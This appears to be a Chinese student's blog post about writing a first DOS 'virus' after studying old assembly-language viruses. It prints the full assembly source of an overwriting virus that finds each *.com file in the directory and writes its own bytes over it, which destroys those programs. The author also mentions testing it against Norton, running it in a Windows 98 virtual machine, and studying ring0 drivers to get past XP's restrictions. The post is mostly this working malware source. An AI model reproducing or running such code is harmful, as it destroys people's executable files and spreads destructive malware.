自己写的第一个病毒(仿的)

 

下载拉1000多个"史前时期"(82--98年左右)的小病毒 全汇编 (1K---200K) 看拉3个

其实很简单就是几个DOS中断(文件 磁盘操作相关)

自己试着写拉一个:将本目录的*.com(可以随便改想感染的类型)逐个写入指定长度的内容

源代码如下:

data_1e  equ 9Eh   
seg_a  segment byte public
assume cs:seg_a, ds:seg_a

org 100h
 
COPYR  proc far
 
start:
  mov ah,4Eh   
  mov cl,20h   
  mov dx,offset data_3 
  int 21h   
      
loc_1:
  mov dx,data_1e  
  mov ax,3D01h
  int 21h   
      
  mov bx,ax
  mov dx,offset ds:[100h] 
  mov cl,2Eh   
  mov ah,40h   
  int 21h   
      
  mov ah,3Eh   
  int 21h   
      
  mov ah,4Fh   
  int 21h   
      
  jnc loc_1   
  int 20h   
data_3  db 2Ah                                      ;*.com的ascii码(十六进制)
  db  2Eh, 43h, 4Fh, 4Dh, 00h
 
COPYR  endp
 
seg_a  ends
 
 
 
  end start

效果图看相册 

我用的是诺顿 xp下能被检出 但是不能运行 会抛异常(XP下禁止中断,用驱动突破ring0级限制 我正在研究 还不会 :) )

正在下载98的镜象 用VPC虚上 程序在98上跑 就能运拉 我估计 呵呵

ps:我写博客的目的是督促自己 寒假学习一下 下学期就要去公司实习拉 别什么都忘拉

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值